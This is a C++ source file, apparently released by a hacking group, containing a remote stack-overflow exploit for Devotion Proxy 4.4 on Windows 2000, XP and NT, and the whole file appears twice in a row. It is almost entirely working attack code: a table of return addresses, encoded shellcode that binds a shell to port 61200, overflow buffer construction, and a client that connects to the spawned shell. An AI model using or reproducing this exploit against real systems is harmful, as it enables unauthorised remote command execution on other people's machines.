/*
        _      ___ _ _        _      _             
     __| |_ _ / __| | | _ _  (_)_  _| |__  __ _ ___
    / _` | '_| (_ |_  _| ' \ | | || | '_ \/ _` (_-<
    \__,_|_|  \___| |_||_||_|/ |\_,_|_.__/\__,_/__/
                           |__/   Presents....                  
       
       Devotion Proxy 4.4 Stack Overflow Exploit 
    
  Vulnerability  discovered  by  drG4njubas[m00]
  Contacts: drG4njubas[at]bk.ru, http://m00.void.ru, #m00sec(@efnet)   
  Greets to Over_G, D4rkGr3y, r4ShR4y, h0snp, ...
  
  Compile with m$ visual c++: cl m00-devproxy.cpp


*/


#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#include <conio.h>

#pragma comment (lib,"wsock32")

struct{
char *platform;
DWORD retaddr; //jmp esp
}

targets[]={
{"Windows 2000 SP1" , 0x77e3cb4c } ,
{"Windows 2000 SP2" , 0x77e2492b } ,
{"Windows 2000 SP3" , 0x77e2afc5 } ,
{"Windows 2000 SP4" , 0x77e14c29 } ,
{"Windows XP SP0" , 0x77f5801c },
{"Windows XP SP1" , 0x77e626ba },
{"Windows NT SP6" , 0x77f32935 },
NULL
};


//Shellcode binds shell to a port 61200
//Download sources from www.m00.ru
char shellcode[]=
"\xEB\x0F\x58\x80\x30\x92\x40\x81\x38\x6D\x30\x30\x21\x75\xF4"
"\xEB\x05\xE8\xEC\xFF\xFF\xFF\x7B\xC6\x93\x92\x92\xCF\xC7\xA3"
"\x49\xF6\x19\x91\xD2\x01\x19\xD1\x6D\xD2\xE7\x6B\x19\xC1\x91"
"\xF4\xA3\x40\xF4\x2A\x92\x82\xF4\x13\xA8\xDF\xC8\xE6\x95\xBB"
"\x50\x7B\x60\x6D\x6D\x6D\x1B\x41\x19\xE8\xAE\x93\x45\x91\xCD"
"\xEA\x19\xD9\x8A\x19\xE1\xB2\x19\xE9\xB6\x93\x44\x93\x45\x6E"
"\x3F\x93\x42\x04\x15\x6F\xC3\xA3\x5B\x12\x53\x9D\x61\x34\xE0"
"\x98\x04\xCB\x15\x6F\xE6\x80\xD5\xD5\x70\x74\x2C\x9D\x92\x92"
"\x92\xBB\x5C\xBB\x65\x7B\x7A\x6D\x6D\x6D\xA3\x52\xF4\x19\x95"
"\x53\x72\x90\x19\xE1\x8E\x93\x44\x93\x54\x3F\x93\x42\x1B\x54"
"\x1B\x45\xCF\xC5\x1F\x0F\x9D\x92\x92\x92\xC1\xC5\x6D\x44\x1F"
"\x0F\xC1\x92\x92\x92\xC1\x6D\x42\x1B\x55\x1F\x0F\xC8\x92\x92"
"\x92\xC1\xC2\x6D\x44\xA3\x5B\xC3\xC3\xC3\xC3\xFA\x93\x92\x92"
"\x92\xFA\x90\x92\x92\x92\x6D\x42\x1B\x51\x1F\x17\xF7\x92\x92"
"\x92\xC2\xC5\x6D\x44\xFA\x82\x92\x92\x92\x1F\x1F\xEA\x92\x92"
"\x92\xC3\xC1\x6D\x42\x1F\x17\xF8\x92\x92\x92\xC2\xC5\x6D\x44"
"\xFA\x93\x92\x92\x92\xC1\x6D\x42\x1F\x17\xE3\x92\x92\x92\xC2"
"\xC5\x6D\x44\xA3\x5B\xC3\xC3\xC1\x6D\x42\xCD\xC2\x1F\x0F\xD5"
"\x92\x92\x92\xC1\xC5\x6D\x44\xFA\x6D\x92\x92\x92\xFA\xD2\x92"
"\x92\x92\x6D\x42\x1B\x51\x1F\x1F\xBA\x92\x92\x92\xC3\xC5\x6D"
"\x44\xC1\x6D\x42\xCA\x1B\xD1\xD2\x1B\xD1\xAE\x1B\xD1\xAA\x55"
"\xD1\xBE\x93\x93\x92\x92\x1F\x17\xAA\x92\x92\x92\xC2\xC5\x6D"
"\x44\xC1\xC1\xA3\x5B\xC3\xC3\xC3\xFA\x93\x92\x92\x92\xC3\xC3"
"\x1F\x0F\x1E\x92\x92\x92\xC1\xC3\x6D\x42\x1F\x17\x8E\x92\x92"
"\x92\xC2\xC5\x6D\x44\x6D\x42\x7A\x35\x6C\x6D\x6D\xD5\xF7\xE6"
"\xC2\xE0\xFD\xF1\xD3\xF6\xF6\xE0\xF7\xE1\xE1\x92\xDE\xFD\xF3"
"\xF6\xDE\xFB\xF0\xE0\xF3\xE0\xEB\xD3\x92\xD7\xEA\xFB\xE6\xC2"
"\xE0\xFD\xF1\xF7\xE1\xE1\x92\xD5\xF7\xE6\xC1\xE6\xF3\xE0\xE6"
"\xE7\xE2\xDB\xFC\xF4\xFD\xD3\x92\xD1\xE0\xF7\xF3\xE6\xF7\xC2"
"\xE0\xFD\xF1\xF7\xE1\xE1\xD3\x92\xD5\xFE\xFD\xF0\xF3\xFE\xD3"
"\xFE\xFE\xFD\xF1\x92\xE5\xE1\xA0\xCD\xA1\xA0\x92\xC5\xC1\xD3"
"\xC1\xFD\xF1\xF9\xF7\xE6\xD3\x92\xF0\xFB\xFC\xF6\x92\xFE\xFB"
"\xE1\xE6\xF7\xFC\x92\xF3\xF1\xF1\xF7\xE2\xE6\x92\x90\x92\x7D"
"\x82\x92\x92\x92\x92\x92\x92\x92\x92\x92\x92\x92\x92\x93\x92"
"\x92\x92\xF1\xFF\xF6\x92\x6D\x30\x30\x21";


char jump[]=
"\x29\x4c\xe1\x77" //retaddr
"\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90"
"\xE9\xFC\xF3\xFF\xFF";


char request[]=
" /Proxy.dtl?URL=www.m00.ru HTTP/1.1\r\n"
"Accept: */*\r\n"
"User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\r\n"
"Connection: Keep-Alive\r\n"
"Cookie: session-id=1\r\n\r\n";


void usage();
void have_fun(int sock);
DWORD WINAPI recv_thread(LPVOID lpParam);


void main(int argc, char **argv){

WSADATA wsaData;
SOCKADDR_IN rmaddr;
HOSTENT *addr;
SOCKET sock,shell;
DWORD tmp;
char buf[100], exploit[4096+sizeof(jump)];
int i,t;

printf("\n*******************************************\n");
printf(" Devotion Proxy  buffer overflow exploit   \n");
printf("      Coded by drG4jubas[m00 Crew]      \n");
printf("*******************************************\n\n");

if(argc<4){
usage();
return;
}

t = atoi(argv[3]);
i = 0;
while(targets[i].platform)i++;

if(t >= i){
printf("Bad target\n");
return;
}

memcpy(jump, &targets[t].retaddr, 4);
for(i = 0; i < sizeof(exploit);i++)exploit[i] = '\x90';
for(i =0; i < sizeof(shellcode)-1; i++)exploit[i+1038] = shellcode[i];
memcpy(exploit+4096, jump, sizeof(jump)-1);

WSAStartup(MAKEWORD(2,2), &wsaData);
sock = socket(AF_INET, SOCK_STREAM, 0);

addr = gethostbyname(argv[1]);
if(addr != NULL)memcpy(&(rmaddr.sin_addr.s_addr), addr->h_addr_list[0], addr->h_length);
else{
printf("Can not resolve host name\n");
return;
}

rmaddr.sin_family = AF_INET;
rmaddr.sin_port = htons(atoi(argv[2]));

printf("Connecting to %s...", argv[1]);
if(connect(sock,(struct sockaddr *)&rmaddr,sizeof(rmaddr))){
printf("failed\n");
return;
}
printf("ok\n");

printf("Sending exploit..."); 

    send(sock, exploit, sizeof(exploit), 0);
    send(sock, request, sizeof(request), 0);

printf("done\n");

CreateThread(NULL, 0 ,recv_thread, (LPVOID)sock, 0, &tmp);
Sleep(100);

shell = socket(AF_INET, SOCK_STREAM, 0);
rmaddr.sin_port = htons(61200);

if(connect(shell,(struct sockaddr *)&rmaddr,sizeof(rmaddr))){
printf("Exploitation failed:(\n");
closesocket(sock);
WSACleanup();
return;
}

printf("Congratulations!!! Shell spawned :D\n\n");

have_fun(shell);

closesocket(shell);
closesocket(sock);
WSACleanup();
return;
}



void usage(){
int i;
printf("USAGE: ");
printf("m00-devproxy.exe <host> <port> <platform>\n\n");
printf("Target platforms:\n");
for(i =0; targets[i].platform; i++)
printf("%d - %s\n", i, targets[i].platform);
}



DWORD WINAPI recv_thread(LPVOID lpParam){
SOCKET sock;
char buf[128];
sock = (SOCKET)lpParam;
recv(sock, buf, 128, 0);
return 0;
}


void have_fun(int sock){
char buf[1024];
int i;
fd_set fdread;
TIMEVAL time;
time.tv_sec = 1;
time.tv_usec = 0;
do{
FD_ZERO(&fdread);
FD_SET(sock, &fdread);
i = select(0, &fdread, NULL, NULL, &time);
if(i > 0){
int j = recv(sock, buf, 1024, 0);
if(j == SOCKET_ERROR)break;
buf[j] = '\0';
printf("%s", buf);
}
if(kbhit()){
fgets(buf, 1024, stdin);
send(sock, buf, strlen(buf), 0);
if(buf[0] == '\r'){
buf[0] = '\n';
printf("%c",buf[0]);
send(sock, buf, 1, 0);
}
}   
}while(i != SOCKET_ERROR);
return;
}/*
        _      ___ _ _        _      _             
     __| |_ _ / __| | | _ _  (_)_  _| |__  __ _ ___
    / _` | '_| (_ |_  _| ' \ | | || | '_ \/ _` (_-<
    \__,_|_|  \___| |_||_||_|/ |\_,_|_.__/\__,_/__/
                           |__/   Presents....                  
       
       Devotion Proxy 4.4 Stack Overflow Exploit 
    
  Vulnerability  discovered  by  drG4njubas[m00]
  Contacts: drG4njubas[at]bk.ru, http://m00.void.ru, #m00sec(@efnet)   
  Greets to Over_G, D4rkGr3y, r4ShR4y, h0snp, ...
  
  Compile with m$ visual c++: cl m00-devproxy.cpp


*/


#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#include <conio.h>

#pragma comment (lib,"wsock32")

struct{
char *platform;
DWORD retaddr; //jmp esp
}

targets[]={
{"Windows 2000 SP1" , 0x77e3cb4c } ,
{"Windows 2000 SP2" , 0x77e2492b } ,
{"Windows 2000 SP3" , 0x77e2afc5 } ,
{"Windows 2000 SP4" , 0x77e14c29 } ,
{"Windows XP SP0" , 0x77f5801c },
{"Windows XP SP1" , 0x77e626ba },
{"Windows NT SP6" , 0x77f32935 },
NULL
};


//Shellcode binds shell to a port 61200
//Download sources from www.m00.ru
char shellcode[]=
"\xEB\x0F\x58\x80\x30\x92\x40\x81\x38\x6D\x30\x30\x21\x75\xF4"
"\xEB\x05\xE8\xEC\xFF\xFF\xFF\x7B\xC6\x93\x92\x92\xCF\xC7\xA3"
"\x49\xF6\x19\x91\xD2\x01\x19\xD1\x6D\xD2\xE7\x6B\x19\xC1\x91"
"\xF4\xA3\x40\xF4\x2A\x92\x82\xF4\x13\xA8\xDF\xC8\xE6\x95\xBB"
"\x50\x7B\x60\x6D\x6D\x6D\x1B\x41\x19\xE8\xAE\x93\x45\x91\xCD"
"\xEA\x19\xD9\x8A\x19\xE1\xB2\x19\xE9\xB6\x93\x44\x93\x45\x6E"
"\x3F\x93\x42\x04\x15\x6F\xC3\xA3\x5B\x12\x53\x9D\x61\x34\xE0"
"\x98\x04\xCB\x15\x6F\xE6\x80\xD5\xD5\x70\x74\x2C\x9D\x92\x92"
"\x92\xBB\x5C\xBB\x65\x7B\x7A\x6D\x6D\x6D\xA3\x52\xF4\x19\x95"
"\x53\x72\x90\x19\xE1\x8E\x93\x44\x93\x54\x3F\x93\x42\x1B\x54"
"\x1B\x45\xCF\xC5\x1F\x0F\x9D\x92\x92\x92\xC1\xC5\x6D\x44\x1F"
"\x0F\xC1\x92\x92\x92\xC1\x6D\x42\x1B\x55\x1F\x0F\xC8\x92\x92"
"\x92\xC1\xC2\x6D\x44\xA3\x5B\xC3\xC3\xC3\xC3\xFA\x93\x92\x92"
"\x92\xFA\x90\x92\x92\x92\x6D\x42\x1B\x51\x1F\x17\xF7\x92\x92"
"\x92\xC2\xC5\x6D\x44\xFA\x82\x92\x92\x92\x1F\x1F\xEA\x92\x92"
"\x92\xC3\xC1\x6D\x42\x1F\x17\xF8\x92\x92\x92\xC2\xC5\x6D\x44"
"\xFA\x93\x92\x92\x92\xC1\x6D\x42\x1F\x17\xE3\x92\x92\x92\xC2"
"\xC5\x6D\x44\xA3\x5B\xC3\xC3\xC1\x6D\x42\xCD\xC2\x1F\x0F\xD5"
"\x92\x92\x92\xC1\xC5\x6D\x44\xFA\x6D\x92\x92\x92\xFA\xD2\x92"
"\x92\x92\x6D\x42\x1B\x51\x1F\x1F\xBA\x92\x92\x92\xC3\xC5\x6D"
"\x44\xC1\x6D\x42\xCA\x1B\xD1\xD2\x1B\xD1\xAE\x1B\xD1\xAA\x55"
"\xD1\xBE\x93\x93\x92\x92\x1F\x17\xAA\x92\x92\x92\xC2\xC5\x6D"
"\x44\xC1\xC1\xA3\x5B\xC3\xC3\xC3\xFA\x93\x92\x92\x92\xC3\xC3"
"\x1F\x0F\x1E\x92\x92\x92\xC1\xC3\x6D\x42\x1F\x17\x8E\x92\x92"
"\x92\xC2\xC5\x6D\x44\x6D\x42\x7A\x35\x6C\x6D\x6D\xD5\xF7\xE6"
"\xC2\xE0\xFD\xF1\xD3\xF6\xF6\xE0\xF7\xE1\xE1\x92\xDE\xFD\xF3"
"\xF6\xDE\xFB\xF0\xE0\xF3\xE0\xEB\xD3\x92\xD7\xEA\xFB\xE6\xC2"
"\xE0\xFD\xF1\xF7\xE1\xE1\x92\xD5\xF7\xE6\xC1\xE6\xF3\xE0\xE6"
"\xE7\xE2\xDB\xFC\xF4\xFD\xD3\x92\xD1\xE0\xF7\xF3\xE6\xF7\xC2"
"\xE0\xFD\xF1\xF7\xE1\xE1\xD3\x92\xD5\xFE\xFD\xF0\xF3\xFE\xD3"
"\xFE\xFE\xFD\xF1\x92\xE5\xE1\xA0\xCD\xA1\xA0\x92\xC5\xC1\xD3"
"\xC1\xFD\xF1\xF9\xF7\xE6\xD3\x92\xF0\xFB\xFC\xF6\x92\xFE\xFB"
"\xE1\xE6\xF7\xFC\x92\xF3\xF1\xF1\xF7\xE2\xE6\x92\x90\x92\x7D"
"\x82\x92\x92\x92\x92\x92\x92\x92\x92\x92\x92\x92\x92\x93\x92"
"\x92\x92\xF1\xFF\xF6\x92\x6D\x30\x30\x21";


char jump[]=
"\x29\x4c\xe1\x77" //retaddr
"\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90"
"\xE9\xFC\xF3\xFF\xFF";


char request[]=
" /Proxy.dtl?URL=www.m00.ru HTTP/1.1\r\n"
"Accept: */*\r\n"
"User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\r\n"
"Connection: Keep-Alive\r\n"
"Cookie: session-id=1\r\n\r\n";


void usage();
void have_fun(int sock);
DWORD WINAPI recv_thread(LPVOID lpParam);


void main(int argc, char **argv){

WSADATA wsaData;
SOCKADDR_IN rmaddr;
HOSTENT *addr;
SOCKET sock,shell;
DWORD tmp;
char buf[100], exploit[4096+sizeof(jump)];
int i,t;

printf("\n*******************************************\n");
printf(" Devotion Proxy  buffer overflow exploit   \n");
printf("      Coded by drG4jubas[m00 Crew]      \n");
printf("*******************************************\n\n");

if(argc<4){
usage();
return;
}

t = atoi(argv[3]);
i = 0;
while(targets[i].platform)i++;

if(t >= i){
printf("Bad target\n");
return;
}

memcpy(jump, &targets[t].retaddr, 4);
for(i = 0; i < sizeof(exploit);i++)exploit[i] = '\x90';
for(i =0; i < sizeof(shellcode)-1; i++)exploit[i+1038] = shellcode[i];
memcpy(exploit+4096, jump, sizeof(jump)-1);

WSAStartup(MAKEWORD(2,2), &wsaData);
sock = socket(AF_INET, SOCK_STREAM, 0);

addr = gethostbyname(argv[1]);
if(addr != NULL)memcpy(&(rmaddr.sin_addr.s_addr), addr->h_addr_list[0], addr->h_length);
else{
printf("Can not resolve host name\n");
return;
}

rmaddr.sin_family = AF_INET;
rmaddr.sin_port = htons(atoi(argv[2]));

printf("Connecting to %s...", argv[1]);
if(connect(sock,(struct sockaddr *)&rmaddr,sizeof(rmaddr))){
printf("failed\n");
return;
}
printf("ok\n");

printf("Sending exploit..."); 

    send(sock, exploit, sizeof(exploit), 0);
    send(sock, request, sizeof(request), 0);

printf("done\n");

CreateThread(NULL, 0 ,recv_thread, (LPVOID)sock, 0, &tmp);
Sleep(100);

shell = socket(AF_INET, SOCK_STREAM, 0);
rmaddr.sin_port = htons(61200);

if(connect(shell,(struct sockaddr *)&rmaddr,sizeof(rmaddr))){
printf("Exploitation failed:(\n");
closesocket(sock);
WSACleanup();
return;
}

printf("Congratulations!!! Shell spawned :D\n\n");

have_fun(shell);

closesocket(shell);
closesocket(sock);
WSACleanup();
return;
}



void usage(){
int i;
printf("USAGE: ");
printf("m00-devproxy.exe <host> <port> <platform>\n\n");
printf("Target platforms:\n");
for(i =0; targets[i].platform; i++)
printf("%d - %s\n", i, targets[i].platform);
}



DWORD WINAPI recv_thread(LPVOID lpParam){
SOCKET sock;
char buf[128];
sock = (SOCKET)lpParam;
recv(sock, buf, 128, 0);
return 0;
}


void have_fun(int sock){
char buf[1024];
int i;
fd_set fdread;
TIMEVAL time;
time.tv_sec = 1;
time.tv_usec = 0;
do{
FD_ZERO(&fdread);
FD_SET(sock, &fdread);
i = select(0, &fdread, NULL, NULL, &time);
if(i > 0){
int j = recv(sock, buf, 1024, 0);
if(j == SOCKET_ERROR)break;
buf[j] = '\0';
printf("%s", buf);
}
if(kbhit()){
fgets(buf, 1024, stdin);
send(sock, buf, strlen(buf), 0);
if(buf[0] == '\r'){
buf[0] = '\n';
printf("%c",buf[0]);
send(sock, buf, 1, 0);
}
}   
}while(i != SOCKET_ERROR);
return;
}